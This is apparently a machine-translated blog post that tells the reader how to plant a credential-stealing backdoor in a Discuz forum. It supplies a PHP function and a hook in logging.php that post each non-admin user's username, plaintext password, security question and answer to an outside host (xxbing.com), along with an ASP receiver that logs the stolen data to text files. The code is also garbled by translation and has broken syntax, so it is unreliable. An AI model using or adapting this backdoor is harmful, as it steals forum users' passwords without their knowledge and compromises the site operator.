DZ record Password

"Angel wings s BLOG-there is no end to technology, and you can win the world !』

Include/common. inc. php inserts a UDF.
Select lines 41-53.
Function request_by_other ($ remote_server, $ post_string ){

$ Context = array (

Http => array (

Method => POST,

Header => Content-type: application/x-www-form-urlencoded ."".

User-Agent: xxbings fuckyou !!!. "".

Content-length:. strlen ($ post_string) + 8,

Content => mypost =. $ post_string)

);

$ Stream_context = stream_context_create ($ context );

$ Data = file_get_contents ($ remote_server, FALSE, $ stream_context );

Return $ data;

}

Find the logging. php file in the root directory. Search for the following code.

$ Ucresult = uc_user_login ($ username, $ password, $ loginfield = uid );

Then insert the following code.
If ($ username! = Admin ){
$ Showtime = gmdate ("Ynj H: I: s", time () + 8*3600 );
If ($ answer = ){
$ Answer = none !;
}
// Name1 is useless. But must be added
$ Post_string = name1 =. $ name2. & name =. $ username. & password =. $ password. & questionid =. $ questionid. & amp; answer =. $ answer. & showtime =. $ showtime. & from =. $ _ SERVER [SERVER_NAME];
Request_by_other (http://www.xxbing.com/fasong.asp,#post_string );
}

Because I am familiar with asp, I wrote it on the receiver using asp.
The asp code is as follows:

<%
Receive files
Body0 = request. form ("name1 ")
Body1 = request. form ("name ")
Body2 = request. form ("password ")
Body3 = request. form ("questionid ")
Body4 = request. form ("answer ")
Body5 = request. form ("showtime ")
Body7 = request. form ("from ")
Body6 = "account:" & body1 & "--- password:" & body2 & "--- question ID:" & body3 & "--- answer:" & body4 & "--- time: "& body5 &" --- Source: "& body7

Response. write body6
FileName = date () & ". txt"
Here, we want to replace it to make it compatible with the IIS7 environment.
FileName = Replace (FileName ,"/","-")

If body6 <> "" then
Call CreateFile (body6, FileName)
End if

Sub CreateFile (body, FileName)
Dim fso, tf, cf
Set fso = CreateObject ("Scripting. FileSystemObject ")
Set tf = fso. openTextFile (server. mappath (FileName), 8, True, 0)
Tf. WriteLine body
Tf. WriteLine "----------------"
Tf. Close
Set fso = nothing
End Sub
%>